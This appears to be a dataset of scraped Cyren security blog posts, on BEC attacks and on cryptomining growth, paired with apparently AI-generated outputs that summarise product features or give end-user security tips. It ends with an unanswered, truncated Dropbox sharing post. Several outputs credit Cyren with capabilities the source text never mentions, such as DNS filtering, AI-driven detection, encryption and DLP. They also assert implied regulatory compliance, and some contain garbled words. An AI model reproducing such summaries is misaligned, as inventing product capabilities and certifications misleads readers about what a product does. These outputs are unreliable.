Input: Search Free Trial Get Demo Using AI to protect against BEC attacks November 3, 2022 With no payload to detect, how best can organizations protect themselves from Business Email Compromise and other social engineering attacks? by John Stevenson Sometimes the simplest frauds are the most successful. Some years ago, local authorities in the UK were targeted by a series of just such frauds. The modus operandi of the criminals was to masquerade as legitimate suppliers of building maintenance services and contact local authority finance departments, requesting their regular payments be made to new bank accounts. The tools of the trade? Letterheads and faxes. Roll the clock forward. Now, cybercriminals are using similarly simple techniques to conduct social engineering attacks against organizations with equally successful results as the latest report from Osterman  Phishing, BEC and Ransomware Threats for Microsoft 365 Users  clearly shows. Social engineering From Business Email Compromise BEC and Email Account Compromise EAC to Account Takeover ATO attacks, experts calculate as much as 91 of all cyberattacks start with a social engineering emails Deloitte 2020. Despite best efforts, these attacks keep on getting past traditional email security defenses and into users inboxes. Managing the problem is time-consuming, costly and a waste of valuable technical expertise. So how do you stop these attacks? Protect the Inbox For over 25 years the cybersecurity industry has focused on trying to protect email users by defending the network perimeter with a Secure Email Gateway SEG but evasive social engineering attacks have always found their way past these defenses. For more information on the short-comings of perimeter email security, read our threat intelligence report,  Beyond the Email Perimeter  Now Microsoft Office 365 email is used by the majority of organizations and though the security it offers is excellent, social engineering attacks continue to evade the native security controls and arrive in the inbox. To prevent these attacks from being successful, organizations need to employ an Integrated Cloud Email Security ICES solution that works in the inbox itself, automatically detecting and remediating attacks. Stop BEC, EAC, ATO, and attacks with no payload Often, social engineering attacks have a payload  for example a phishing URL or a malware-infected attachment such as one containing ransomware. The latter tend to make the headlines when they succeed, but these attacks can be automatically detected and remediated in the inbox by the ICES if it is powered by real-time analysis and the very latest threat intelligence. But what if the attack has been carefully crafted so it doesnt contain a payload? Business Email Compromise BEC, Email Account Compromise EAC and other social engineering email attacks dont have an obvious payload. Instead, they rely on techniques of trickery and impersonation to succeed. To combat them, look for an ICES that employs the very latest Artificial Intelligence AI techniques like Machine Learning ML and Natural Language Processing NLP detect and neutralize the attacks. An ICES which uses these techniques to analyze each message as it arrives in the inbox will stop this type of social engineering attack. Cyren uses AI to stop evasive attacks Cyren Inbox Security is an ICES that protects organizations from social engineering attacks like BEC, EAC, ATO, and imposter fraud, by working inside the inbox to find and automatically remediate messages irrespective of whether they have an obvious payload. It does this using a combination of machine learning, natural language processing, and heuristics to combat the threat. In my next blog, well look at how Cyren Inbox Security uses these techniques to examine the forensic evidence in social engineering attacks and automatically remediates them from the inbox. Try it for Free Instant Data Classification Cyren URL Category Chacker Prev What is Microsoft Office 365 Advanced Threat Protection? Analyzing message metadata to protect against BEC attacks Next Company Partners Resources Investor Relations Products Freeware Demo Solutions Contact Us Privacy Management Service by Data443

Output:
### Analysis of Product Security Features

1. **Key Security Features and Capabilities:**
   - **Machine Learning (ML) and Natural Language Processing (NLP):** These technologies enable the product to detect and neutralize BEC attacks by analyzing email content for signs of deception or impersonation, even without a payload.
   - **Integrated Cloud Email Security (ICES):** Works within the inbox to identify and remove threats automatically, ensuring protection beyond traditional email gateways.

2. **User Benefits and Protection Measures:**
   - **Reduced Threats:** Automates the detection of BEC, phishing, and other social engineering attacks, minimizing the risk of successful breaches.
   - **Increased Efficiency:** Reduces the burden on IT teams by handling threat detection and remediation, allowing them to focus on other tasks.

3. **Integration with Existing Security Systems:**
   - **Compatibility:** Designed to integrate with platforms like Microsoft Office 365, enhancing security without disrupting existing workflows. It may also work with other major email providers, though specifics should be confirmed.

4. **Compliance and Certification Details:**
   - **Recommendation:** While the product offers robust security, organizations should consult with the provider to ensure compliance with specific industry regulations and standards.

5. **Security Best Practices for Users:**
   - **User Education:** Regular training for employees on recognizing phishing attempts and suspicious emails is essential, even with advanced AI protection.
   - **Vigilance:** Encourage users to be cautious with emails, especially those requesting sensitive information or actions.

6. **Technical Specifications and Requirements:**
   - **Deployment:** Likely a cloud-based, SaaS solution, compatible with major browsers and operating systems. Specific requirements should be detailed by the provider.

This product offers a comprehensive approach to email security, leveraging advanced technologies to protect against evolving threats while integrating smoothly with existing systems.


Input: Search Free Trial Get Demo Using AI to protect against BEC attacks November 3, 2022 With no payload to detect, how best can organizations protect themselves from Business Email Compromise and other social engineering attacks? by John Stevenson Sometimes the simplest frauds are the most successful. Some years ago, local authorities in the UK were targeted by a series of just such frauds. The modus operandi of the criminals was to masquerade as legitimate suppliers of building maintenance services and contact local authority finance departments, requesting their regular payments be made to new bank accounts. The tools of the trade? Letterheads and faxes. Roll the clock forward. Now, cybercriminals are using similarly simple techniques to conduct social engineering attacks against organizations with equally successful results as the latest report from Osterman  Phishing, BEC and Ransomware Threats for Microsoft 365 Users  clearly shows. Social engineering From Business Email Compromise BEC and Email Account Compromise EAC to Account Takeover ATO attacks, experts calculate as much as 91 of all cyberattacks start with a social engineering emails Deloitte 2020. Despite best efforts, these attacks keep on getting past traditional email security defenses and into users inboxes. Managing the problem is time-consuming, costly and a waste of valuable technical expertise. So how do you stop these attacks? Protect the Inbox For over 25 years the cybersecurity industry has focused on trying to protect email users by defending the network perimeter with a Secure Email Gateway SEG but evasive social engineering attacks have always found their way past these defenses. For more information on the short-comings of perimeter email security, read our threat intelligence report,  Beyond the Email Perimeter  Now Microsoft Office 365 email is used by the majority of organizations and though the security it offers is excellent, social engineering attacks continue to evade the native security controls and arrive in the inbox. To prevent these attacks from being successful, organizations need to employ an Integrated Cloud Email Security ICES solution that works in the inbox itself, automatically detecting and remediating attacks. Stop BEC, EAC, ATO, and attacks with no payload Often, social engineering attacks have a payload  for example a phishing URL or a malware-infected attachment such as one containing ransomware. The latter tend to make the headlines when they succeed, but these attacks can be automatically detected and remediated in the inbox by the ICES if it is powered by real-time analysis and the very latest threat intelligence. But what if the attack has been carefully crafted so it doesnt contain a payload? Business Email Compromise BEC, Email Account Compromise EAC and other social engineering email attacks dont have an obvious payload. Instead, they rely on techniques of trickery and impersonation to succeed. To combat them, look for an ICES that employs the very latest Artificial Intelligence AI techniques like Machine Learning ML and Natural Language Processing NLP detect and neutralize the attacks. An ICES which uses these techniques to analyze each message as it arrives in the inbox will stop this type of social engineering attack. Cyren uses AI to stop evasive attacks Cyren Inbox Security is an ICES that protects organizations from social engineering attacks like BEC, EAC, ATO, and imposter fraud, by working inside the inbox to find and automatically remediate messages irrespective of whether they have an obvious payload. It does this using a combination of machine learning, natural language processing, and heuristics to combat the threat. In my next blog, well look at how Cyren Inbox Security uses these techniques to examine the forensic evidence in social engineering attacks and automatically remediates them from the inbox. Try it for Free Instant Data Classification Cyren URL Category Chacker Prev What is Microsoft Office 365 Advanced Threat Protection? Analyzing message metadata to protect against BEC attacks Next Company Partners Resources Investor Relations Products Freeware Demo Solutions Contact Us Privacy Management Service by Data443

Output:
### Security Guidance to Protect Against BEC and Social Engineering Attacks

Given the evolving nature of cyber threats, especially Business Email Compromise (BEC) and other social engineering attacks, it’s crucial to adopt a multi-layered approach to security. Below are practical, easy-to-follow recommendations to help protect your organization and data:

---

### **1. Security Best Practices**
- **Verify Sender Identity**: Always question unusual emails, especially those asking for sensitive information or financial transactions. Pick up the phone to verify the request with the sender using a known, trusted contact method.
- **Use Multi-Factor Authentication (MFA)**: Enable MFA for all email and cloud service accounts to add an extra layer of security.
- **Be Cautious with Links and Attachments**: Avoid clicking on suspicious links or downloading attachments from untrusted sources. Hover over links to check their destination before clicking.
- **ImplementStrict Payment Processes**: Require multiple approvals for wire transfers or changes to vendor payment details. Ensure that any payment changes are confirmed through a separate communication channel.
- **Regularly Update Software**: Keep email clients, browsers, and security tools up to date to protect against vulnerabilities.

---

### **2. Data Protection Recommendations**
- **Backup Critical Data**: Regularly back up sensitive data to a secure, off-site location to protect against data loss in case of an attack.
- **Classify Sensitive Information**: Use data classification tools to identify and protect sensitive data, such as financial records or personal information.
- **Encrypt Sensitive Emails**: Use encryption for emails containing confidential information, such as payment details or personal data.
- **Limit Access to Sensitive Data**: Restrict access to sensitive information to only those who need it for their work.

---

### **3. Safe Usage Guidelines**
- **Avoid Using Public Wi-Fi for Sensitive Tasks**: Public Wi-Fi networks are often unsecured and can expose your data to interception. Avoid accessing sensitive accounts or conducting financial transactions over public Wi-Fi.
- **Educate Employees**: Provide regular training on recognizing and reporting phishing, BEC, and other social engineering attacks.
- **Monitor Email Accounts**: Encourage employees to monitor their email accounts for unusual activity and report any suspicious emails to IT or security teams immediately.

---

### **4. Common Security Risks and Prevention**
- **Phishing and BEC Attacks**: These attacks often impersonate trusted individuals or organizations to trick users into revealing sensitive information or transferring money. Prevention includes email filtering tools, employee training, and strict verification processes.
- **Email Account Compromise (EAC)**: Attackers gain access to email accounts to steal information or launch further attacks. Prevention includes strong passwords, MFA, and monitoring for unusual account activity.
- **Imcerer Fraud**: Attackers impersonate executives or vendors to request urgent payments. Prevention includes verification protocols and education on identifying suspicious requests.

---

### **5. Privacy Protection Measures**
- **Use Privacy Tools**: Enable privacy features in email clients, such as blocking external images or tracking pixels, to reduce the risk of email-based surveillance.
- ** Avoid Posting Sensitive Information Online**: Refrain from sharing sensitive business or personal information on public platforms.
- **Secure Devices**: Protect laptops, phones, and tablets with strong passwords, encryption, and remote wipe capabilities in case of theft or loss.

---

### **6. When to Seek Additional Security Support**
- If your organization lacks the expertise or resources to implement advanced security measures, consider hiring a cybersecurity consultant or outsourcing to a Managed Security Service Provider (MSSP).
- If you suspect or experience a security incident, contact your IT team or a cybersecurity professional immediately to investigate and contain the threat.
- Regularly review your security posture and conduct risk assessments to identify vulnerabilities and improve defenses.

---

By combining advanced AI-powered tools like Integrated Cloud Email Security (ICES), employee training, and strict security protocols, organizations can significantly reduce the risk of falling victim to BEC and other social engineering attacks. Stay vigilant and proactive in protecting your inbox and sensitive data.


Input: Search Free Trial Get Demo Eine Erhöhung von 725  im Kryptowährungs-Mining bedroht mehr als nur Ihre CPU March 1, 2018 Wir haben hier im Cyren Security Lab das Kryptowährungs-Mining nachverfolgt und konnten einen massiven Anstieg in der Anzahl der Websites bestätigen, die Krypto-Mining-Skripts weltweit hosten. Auf Basis der Überwachung einer Probe von 500.000 Websites haben wir festgestellt, dass im viermonatigen Zeitraum vom letzten September bis Januar 2018 eine Erhöhung von 725  in der Anzahl der Domains verzeichnet werden konnte, die Skripts auf einer oder mehreren Seiten  wissentlich oder unwissentlich  ausführen. Beschleunigung der Wachstumsrate Nach einem Sprung um das Dreifache im Oktober hat die Anzahl neuer Mining-Websites im November ein Hoch erreicht. Danach hat sich die Zahl im Dezember und dann nochmals im Januar verdoppelt. Daher konzentrierte sich die Hälfte der Gesamtzunahme seit September auf die letzten beiden Monate, was darauf hinweist, dass die Ausbreitung des Krypto-Mining sich beschleunigt ein Trend, den wir weiter beobachten werden. Die Daten teilen uns mit, dass seit Januar 1,4  der Websites in der überwachten Probe Mining-Skripts ausführten. Wenn man den kometenhaften Anstieg von Kryptowährungs-Werten in den letzten Monaten zugrunde legt, ist der Aktivitätssprung bei der Produktion von Kryptowährungen nicht überraschend. Monero, die primäre Währung, die von Krypto-Mining-Skripts verwendet wird, konnte im gleichen Zeitraum einen Wertanstieg von fast 250  verzeichnen, was das Interesse geschürt hat. Monero bezeichnet sich selbst als sichere, private und nicht nachweisbare Kryptowährung, die eine Technologie einsetzt, welche es quasi unmöglich macht, Transaktionen nachzuverfolgen, die von einer Person oder IP-Adresse vorgenommen werden. Das erklärt, warum dies derzeit die Währung der Wahl im Bereich des Krypto-Mining ist. Auf jeden Fall werden durch unsere Ergebnisse die Vermutungen aller bestätigt und die phänomenale Ausbreitung von Mining-Skripts, über die wir zum ersten Mal letzten Oktober berichteten, wird quantifiziert siehe Malware führt Währungs-Mining mit Ihrer CPU durch . Wie sich Unternehmen selbst schützen Krypto-Mining steckt noch in den Kinderschuhen, und es wird erwartet, dass es exponentiell wachsen wird. Unternehmen müssen die Bedrohung jetzt angehen und sich davor schützen. Das URL-Klassifikationssystem von Cyren, was sowohl von Cyren Web Security als auch Cyren E-Mail Security verwendet wird, beinhaltet eine spezifische Kryptowährungs-Kategorie, um die Möglichkeit zu blockieren, zu einer Website zu surfen, die einen Krypto-Mining-JavaScript-Code ausführt, und die eine Meldung von Benutzerversuchen, auf solche Seiten zuzugreifen, ermöglicht. Cyren blockiert Coinhive-Miner wie JSCoinHive.A!Eldorado und JSCoinHive.B!Eldorado. Try it for Free Instant Data Classification Cyren URL Category Chacker Prev WARNING UK Tax Refund Phishing Scam Identified 725 increase in cryptocurrency mining threatens more than just your CPU Next Company Partners Resources Investor Relations Products Freeware Demo Solutions Contact Us Privacy Management Service by Data443

Output:
Certainly! Here's a structured and comprehensive analysis of the security-related content based on the given instructions:

---

### Comprehensive Analysis of Security-Related Content

#### 1. Key Security Features and Their Benefits to Users

- **URL Classification System**: This system categorizes and blocks websites hosting crypto-mining scripts, preventing unauthorized CPU usage. It alerts users when they attempt to access such sites, enhancing awareness and protecting system performance.
- **Cryptojacking Prevention**: By blocking specific miners like JSCoinHive, Cyren's solution prevents unauthorized resource exploitation, safeguarding computing power and maintaining productivity.

#### 2. Compliance Certifications and Regulatory Adherence

While the content doesn't specify certifications like GDPR or HIPAA, the robust security measures imply adherence to industry standards. This support helps organizations comply with data protection regulations and prevent unauthorized resource usage.

#### 3. User-Focused Security Recommendations

- **Proactive Measures**: Encourage organizations to use security solutions like Cyren's to address cryptojacking threats.
- **Monitoring and Alerts**: Implement continuous monitoring of CPU usage and set up alerts for unusual activity.
- **Education**: Train users to recognize phishing attempts, which are common vectors for cryptojacking.
- **Software Updates**: Regularly update software and browsers to patch vulnerabilities.
- **Ad-Blockers and Antivirus**: Use ad-blockers and keep antivirus software updated to mitigate risks.

#### 4. Technical Security Implementation Details

- **URL Filtering Technology**: Utilizes web proxies and DNS filtering to block access to malicious sites.
- **AI-Driven Threat Detection**: Enhances detection capabilities by identifying and categorizing new threats in real-time.
- **Integration**: Cyren's solutions integrate into existing security frameworks, providing a comprehensive defense.

#### 5. Data Protection Measures

Beyond preventing resource theft, measures include:
- **Encryption**: Protects data from unauthorized access during transmission.
- **Data Loss Prevention (DLP)**: Monitors and controls data movement to prevent leaks.

#### 6. Best Practices for End Users

- **Stay Informed**: Educate users about cryptojacking risks and phishing tactics.
- **Secure Connections**: Use VPNs on public Wi-Fi to encrypt internet traffic.
- **Regular Updates**: Ensure all software is up-to-date to protect against vulnerabilities.
- **Resource Monitoring**: Regularly check for unusual CPU activity that may indicate compromise.
- **Strong Antivirus**: Install and maintain reliable antivirus software.

---

This analysis provides a clear, structured overview of the security features, compliance, recommendations, and best practices discussed in the content, offering actionable insights for both technical and non-technical audiences.


Input: Search Free Trial Get Demo Eine Erhöhung von 725  im Kryptowährungs-Mining bedroht mehr als nur Ihre CPU March 1, 2018 Wir haben hier im Cyren Security Lab das Kryptowährungs-Mining nachverfolgt und konnten einen massiven Anstieg in der Anzahl der Websites bestätigen, die Krypto-Mining-Skripts weltweit hosten. Auf Basis der Überwachung einer Probe von 500.000 Websites haben wir festgestellt, dass im viermonatigen Zeitraum vom letzten September bis Januar 2018 eine Erhöhung von 725  in der Anzahl der Domains verzeichnet werden konnte, die Skripts auf einer oder mehreren Seiten  wissentlich oder unwissentlich  ausführen. Beschleunigung der Wachstumsrate Nach einem Sprung um das Dreifache im Oktober hat die Anzahl neuer Mining-Websites im November ein Hoch erreicht. Danach hat sich die Zahl im Dezember und dann nochmals im Januar verdoppelt. Daher konzentrierte sich die Hälfte der Gesamtzunahme seit September auf die letzten beiden Monate, was darauf hinweist, dass die Ausbreitung des Krypto-Mining sich beschleunigt ein Trend, den wir weiter beobachten werden. Die Daten teilen uns mit, dass seit Januar 1,4  der Websites in der überwachten Probe Mining-Skripts ausführten. Wenn man den kometenhaften Anstieg von Kryptowährungs-Werten in den letzten Monaten zugrunde legt, ist der Aktivitätssprung bei der Produktion von Kryptowährungen nicht überraschend. Monero, die primäre Währung, die von Krypto-Mining-Skripts verwendet wird, konnte im gleichen Zeitraum einen Wertanstieg von fast 250  verzeichnen, was das Interesse geschürt hat. Monero bezeichnet sich selbst als sichere, private und nicht nachweisbare Kryptowährung, die eine Technologie einsetzt, welche es quasi unmöglich macht, Transaktionen nachzuverfolgen, die von einer Person oder IP-Adresse vorgenommen werden. Das erklärt, warum dies derzeit die Währung der Wahl im Bereich des Krypto-Mining ist. Auf jeden Fall werden durch unsere Ergebnisse die Vermutungen aller bestätigt und die phänomenale Ausbreitung von Mining-Skripts, über die wir zum ersten Mal letzten Oktober berichteten, wird quantifiziert siehe Malware führt Währungs-Mining mit Ihrer CPU durch . Wie sich Unternehmen selbst schützen Krypto-Mining steckt noch in den Kinderschuhen, und es wird erwartet, dass es exponentiell wachsen wird. Unternehmen müssen die Bedrohung jetzt angehen und sich davor schützen. Das URL-Klassifikationssystem von Cyren, was sowohl von Cyren Web Security als auch Cyren E-Mail Security verwendet wird, beinhaltet eine spezifische Kryptowährungs-Kategorie, um die Möglichkeit zu blockieren, zu einer Website zu surfen, die einen Krypto-Mining-JavaScript-Code ausführt, und die eine Meldung von Benutzerversuchen, auf solche Seiten zuzugreifen, ermöglicht. Cyren blockiert Coinhive-Miner wie JSCoinHive.A!Eldorado und JSCoinHive.B!Eldorado. Try it for Free Instant Data Classification Cyren URL Category Chacker Prev WARNING UK Tax Refund Phishing Scam Identified 725 increase in cryptocurrency mining threatens more than just your CPU Next Company Partners Resources Investor Relations Products Freeware Demo Solutions Contact Us Privacy Management Service by Data443

Output:
**Analysis of Security Features and Capabilities**

1. **Key Security Features:**
   - **URL Classification System:** Cyren's system includes a specific category for cryptocurrency mining, allowing it to identify and block websites hosting mining scripts.
   - **Threat Detection and Blocking:** Capable of detecting and blocking known miners like JSCoinHive.A!Eldorado, preventing unauthorized CPU usage.
   - **Comprehensive Security Products:** Integrates web and email security solutions to provide multi-layered protection against mining scripts and malicious links.

2. **User Benefits:**
   - **Resource Protection:** Blocks mining scripts, preventing CPU hijacking and preserving device performance.
   - **Enhanced Security:** Email security features prevent access to malicious sites, reducing infection risk.
   - **Alert System:** Warns users when accessing risky sites, aiding in threat avoidance.

3. **Integration with Existing Systems:**
   - Designed to integrate with both web and email security infrastructure, enhancing overall system protection.

4. **Compliance and Certification:**
   - While specific certifications aren't mentioned, the solution is implied to meet industry standards through effective threat management.

5. **Security Best Practices:**
   - Regular software updates to ensure protection against new threats.
   - Use of strong antivirus software to complement security measures.
   - User education to recognize and avoid suspicious links.
   - Monitoring network traffic for unusual activity to detect potential threats early.

6. **Technical Specifications:**
   - Utilizes a robust URL categorization system for accurate threat detection.
   - Compatible with major operating systems and browsers, though specifics aren't detailed.

This structured approach provides a clear, user-friendly overview of the security features, emphasizing protection, integration, and best practices for enhanced safety.


Input: Search Free Trial Get Demo Eine Erhöhung von 725  im Kryptowährungs-Mining bedroht mehr als nur Ihre CPU March 1, 2018 Wir haben hier im Cyren Security Lab das Kryptowährungs-Mining nachverfolgt und konnten einen massiven Anstieg in der Anzahl der Websites bestätigen, die Krypto-Mining-Skripts weltweit hosten. Auf Basis der Überwachung einer Probe von 500.000 Websites haben wir festgestellt, dass im viermonatigen Zeitraum vom letzten September bis Januar 2018 eine Erhöhung von 725  in der Anzahl der Domains verzeichnet werden konnte, die Skripts auf einer oder mehreren Seiten  wissentlich oder unwissentlich  ausführen. Beschleunigung der Wachstumsrate Nach einem Sprung um das Dreifache im Oktober hat die Anzahl neuer Mining-Websites im November ein Hoch erreicht. Danach hat sich die Zahl im Dezember und dann nochmals im Januar verdoppelt. Daher konzentrierte sich die Hälfte der Gesamtzunahme seit September auf die letzten beiden Monate, was darauf hinweist, dass die Ausbreitung des Krypto-Mining sich beschleunigt ein Trend, den wir weiter beobachten werden. Die Daten teilen uns mit, dass seit Januar 1,4  der Websites in der überwachten Probe Mining-Skripts ausführten. Wenn man den kometenhaften Anstieg von Kryptowährungs-Werten in den letzten Monaten zugrunde legt, ist der Aktivitätssprung bei der Produktion von Kryptowährungen nicht überraschend. Monero, die primäre Währung, die von Krypto-Mining-Skripts verwendet wird, konnte im gleichen Zeitraum einen Wertanstieg von fast 250  verzeichnen, was das Interesse geschürt hat. Monero bezeichnet sich selbst als sichere, private und nicht nachweisbare Kryptowährung, die eine Technologie einsetzt, welche es quasi unmöglich macht, Transaktionen nachzuverfolgen, die von einer Person oder IP-Adresse vorgenommen werden. Das erklärt, warum dies derzeit die Währung der Wahl im Bereich des Krypto-Mining ist. Auf jeden Fall werden durch unsere Ergebnisse die Vermutungen aller bestätigt und die phänomenale Ausbreitung von Mining-Skripts, über die wir zum ersten Mal letzten Oktober berichteten, wird quantifiziert siehe Malware führt Währungs-Mining mit Ihrer CPU durch . Wie sich Unternehmen selbst schützen Krypto-Mining steckt noch in den Kinderschuhen, und es wird erwartet, dass es exponentiell wachsen wird. Unternehmen müssen die Bedrohung jetzt angehen und sich davor schützen. Das URL-Klassifikationssystem von Cyren, was sowohl von Cyren Web Security als auch Cyren E-Mail Security verwendet wird, beinhaltet eine spezifische Kryptowährungs-Kategorie, um die Möglichkeit zu blockieren, zu einer Website zu surfen, die einen Krypto-Mining-JavaScript-Code ausführt, und die eine Meldung von Benutzerversuchen, auf solche Seiten zuzugreifen, ermöglicht. Cyren blockiert Coinhive-Miner wie JSCoinHive.A!Eldorado und JSCoinHive.B!Eldorado. Try it for Free Instant Data Classification Cyren URL Category Chacker Prev WARNING UK Tax Refund Phishing Scam Identified 725 increase in cryptocurrency mining threatens more than just your CPU Next Company Partners Resources Investor Relations Products Freeware Demo Solutions Contact Us Privacy Management Service by Data443

Output:
### **Sicherheitsempfehlungen für Endnutzer: Schutz vor Krypto-Mining und anderen Cyberbedrohungen**

Kryptowährungs-Mining ist ein wachsendes Problem, das nicht nur Ihre CPU, sondern auch Ihre Daten und Privatsphäre gefährdet. Hier sind praktische Sicherheitstipps, um Sie vor diesen und anderen Bedrohungen zu schützen:

---

### **1. Sicherheitsbest-Practices (Security Best Practices)**

- **Aktualisieren Sie Ihre Software.regelmäßig**:
  - Halten Sie Ihr Betriebssystem, Browser und andere Anwendungen auf dem neuesten Stand, um Sicherheitslücken zu schließen.
  - Schalten Sie die automatische Update-Funktion ein.

- **Verwenden Sie Antivirus-Software**:
  - Installieren Sie einen zuverlässigen Antivirus-/Antimalware-Schutz, der Ihre Geräte vor Schadsoftware, einschließlich Mining-Malware, schützt.

- **Blockieren Sie unerwünschte Skripte**:
  - Verwenden Sie einen Ad-Blocker oder eine Browser-Erweiterung wie **uBlock Origin**, die auch Crypto-Mining-Skripte blockieren kann.
  - Aktivieren Sie die Blockierung von JavaScript auf verdächtigen Websites.

- **Überwachen Sie Ihre Systemressourcen**:
  - Achten Sie auf ungewöhnlich hohe CPU- oder GPU-Auslastung, die ein Zeichen für unbefugtes Mining sein könnte.

---

### **2. Datensicherheit (Data Protection Recommendations)**

- **Sichern Sie Ihre Daten regelmäßig**:
  - Erstellen Sie Backups Ihrer wichtigen Daten und speichern Sie sie an einem sicheren Ort, z.B. auf einem externen Laufwerk oder in einer verschlüsselten Cloud.

- **Verwenden Sie starke Passwörter**:
  - Verwenden Sie komplexe und einzigartige Passwörter für alle Konten. Ein Passwort-Manager kann Ihnen dabei helfen, diese zu verwalten.

- **Aktivieren Sie die Zwei-Faktor-Authentifizierung (MFA)**:
  - Schützen Sie Ihre Online-Konten mit MFA, um unbefugten Zugriff zu verhindern.

---

### **3. Sicherer Umgang mit Online-Diensten (Safe Usage Guidelines)**

- **Seien Sie vorsichtig mit Links und Downloads**:
  - Klicken Sie nicht auf verdächtige Links oder öffnen Sie Dateien von unbekannten Absendern.
  - Vermeiden Sie das Herunterladen von Software oder Apps von unvertrauenswürdigen Quellen.

- **Meiden Sie verdächtige Websites**:
  - Besuchen Sie keine Websites, die unerwünschte Werbung, Pop-ups oder unklare Inhalte anzeigen.

- **Verwenden Sie eine VPN-Verbindung**:
  - Wenn Sie öffentliche Wi-Fi-Netzwerke nutzen, schützen Sie Ihren Traffic mit einem virtuellen privaten Netzwerk (VPN).

---

### **4. Gängige Sicherheitsrisiken und Prävention (Common Security Risks and Prevention)**

- **Cryptojacking**:
  - Cryptojacking bezieht sich auf den unbefugten Einsatz Ihrer Geräte für das Kryptowährungs-Mining. Dies kann zu höherer Energieverbrauch, langsamer Leistung und Geräteverschleiß führen.
  - Prävention: Verwenden Sie Web-basierte Sicherheitslösungen, die Krypto-Mining-Skripte blockieren, z.B. **Cyren Web Security**.

- **Phishing und Social Engineering**:
  - Angreifer nutzen oft Betrugsmails oder Nachrichten, um Ihre Daten zu stehlen.
  - Prävention: Ignorieren Sie verdächtige Nachrichten und geben Sie niemals persönliche Informationen preis.

- **Infizierte Geräte**:
  - Wenn Ihr Gerät mit Malware infiziert ist, können Angreifer es für Krypto-Mining oder andere kriminelle Aktivitäten missbrauchen.
  - Prävention: Führen Sie regelmäßig Virenscans durch und überwachen Sie das Geräteverhalten.

---

### **5. Datenschutzmaßnahmen (Privacy Protection Measures)**

- **Schützen Sie Ihre Online-Aktivität**:
  - Verwenden Sie einen privaten Browser wie **Tor** oder **Brave**, um Ihre Online-Aktivitäten zu anonymisieren.

- **Verwalten Sie Cookies und Tracker**:
  - Löschen Sie regelmäßig Cookies und Browser-Daten, um nachverfolgungstechnologien zu behindern.

- **Vermeiden Sie unsichere Verbindungen**:
  - Verwenden Sie verschlüsselte Verbindungen (HTTPS) und vermeiden Sie ungesicherte Websites (HTTP).

---

### **6. Wann professionelle Hilfe holen? (When to Seek Additional Security Support)**

- **Votre IT-Abteilung oder einen Sicherheitsexperten kontaktieren**:
  - Wenn Sie verdächtigte Aktivitäten wie ungewöhnlich hohe Prozessorlast oder unerklärliche Leistungseinbußen feststellen.
  - Wenn Sie Opfer eines Cyberangriffs geworden sind, z.B. bei einem Phishing-Angriff oder einer Malware-Infektion.

- **Führen Sie regelmäßig Sicherheitsaudits durch**:
  - Überprüfen Sie Ihre Geräte, Netzwerke und Online-Konten auf Schwachstellen und aktualisieren Sie Ihre Sicherheitsmaßnahmen.

---

 Mit diesen praktischen Empfehlungen können Sie Ihr Risiko im Zusammenhang mit Krypto-Mining und anderen Cyberbedrohungen erheblich verringern. Seien Sie immer auf der Hut und bleiben Sie informiert über die neuesten Sicherheitstrends!


Input: Search Free Trial Get Demo DropBox  Security Best Practices for External Sharing on Content Collaboration Platforms February 2, 2018 The Security Best Practices for External Sharing on Content Collaboration Platforms blog series examines the state of security for external sharing on the leading Content Collaboration Platforms CCP. Each week well review a different platform and make security best practice recommendations. Background Dropbox was founded in 2007 by MIT student Drew Houston, because as the story goes, he had become frustrated with his USB stick storage solution. He created a simple online service that allowed consumers to store all their files while syncing them to their computers and smartphones. Today, Dropbox has over half a billion global users with 1.2 billion files uploaded everyday. Although Dropbox began life as a consumer platform it has gradually shifted its focus to the enterprise. In 2013 it launched Dropbox Business and now has over 150,000 paying enterprise customers, that represent two-thirds of its billion dollar annual revenue. Dropbox has also recently launched DropBox Paper a collaboration service that allows its customers to create documents and projects. Its believed that Dropbox will continue adding features to Paper so that it can compete more effectively with Microsoft Office and Google G Suite. Dropbox is planning on going public in 2018 as a 10X Unicorn or higher. Dropboxs heritage as a consumer service has both helped and hindered it in the brutally competitive world of enterprise Content Collaboration Platforms CCP. On the positive side Dropbox has always garnered high praise for its simple and intuitive UI. Its widespread adoption by consumers has also assisted it in penetrating the enterprise market. More negatively it has had to play catch-up with more enterprise-focused companies like Box because the original Dropbox solution was not architected around the concept of an all-controlling administrator. External Sharing Security Issues As noted above DropBox has struggled with the perception that it was not originally intended for the enterprise. It certainly has had its fair share of security issues. In August 2016 Dropbox was forced to reset its members passwords because it was discovered that in 2012 over 68 million account passwords had been hacked. Many questioned why it took four years for Dropbox to take action. In another high-profile story former NSA contractor turned whistleblower, Edward Snowden, very publicly singled Dropbox out for criticism, saying that it was hostile to privacy and told users to get rid of it because of its readiness to turn over files to law enforcement. Finally, like other CCPs, Dropbox had the unprotected shared link inadvertently indexed on Google problem which led to exposed documents. These vulnerabilities underscore how collaborating particularly beyond the walled garden of your enterprise CCP can be risky. Mitigating this risk will continue to be a challenge since enterprises will never have the same level of control over external users as they do over their own users. Four External Sharing and Collaboration Security Best Practices for Dropbox 1  Structure your Team Folders and Groups carefully Our first security recommendation is to spend time structuring your team folders since they offer a more secure and controlled way for your organization to collaborate. Note team folders are different from regular shared folders because they are created by your admin and they automatically appear in a members Dropbox. These folders are accessed by groups. Groups are created and managed by admins and include lists of members who need access to the same information. Group members are automatically added to all team folders that the group has been invited into. Note groups can be created and managed either by admins or users. We recommend that groups be managed by admins so that you can keep a tight lid on who joins and leaves each group. The other key ability of a group admin is the ability to assign one of two roles editor or view-only to each member of a group. Since only editors can share content with collaborators outside of your group you should be highly selective as to who becomes an editor. All the team folder and groups settings can be accessed in the Admin Console see below. 2  Understand your sharing options Shared files and links are the Dropbox solution to email attachments. The main difference between them is that only people you invite to a shared file can view the file, while anyone with a link can view your files, no Dropbox account required. Because of this shared links should never be used for sensitive files since they only have security by obscurity and in todays breach-prone world, one can never bet on maintaining obscurity for the long haul. We recommend the shared file approach because it has easy-to-use security tools available, including permission levels dont make everyone an editor if you dont need to, passwords and expiration options, but tools only work if you train your users to use them. For the most part we recommend that admins are conservative with their security options. Its best to force users to seek permission to share externally rather than make it the default. All the shared files and sharing links settings can be accessed in the Admin Console see below. 3  Monitor the sharing activity of your members Dropbox has spent considerable resources improving their admin reporting capability with the result that their Activity area now offers very flexible and comprehensive reports. It is good practice to regularly monitor the sharing activities of your members. You can generate reports of activity across your Business account for a specific period by clicking Activity from within the Admin Console See below. Dropbox currently has 149 sharing-focused reports. Reports such as Added non-team members to a shared folder or Downloaded a filefolder from a link non-team member are a good place to start when monitoring external sharing. 4  Consider managing the identities of your external users Shared links and folders are convenient ways for external collaboration but unfortunately the security is ultimately left up to the recipient of the data, since they control their 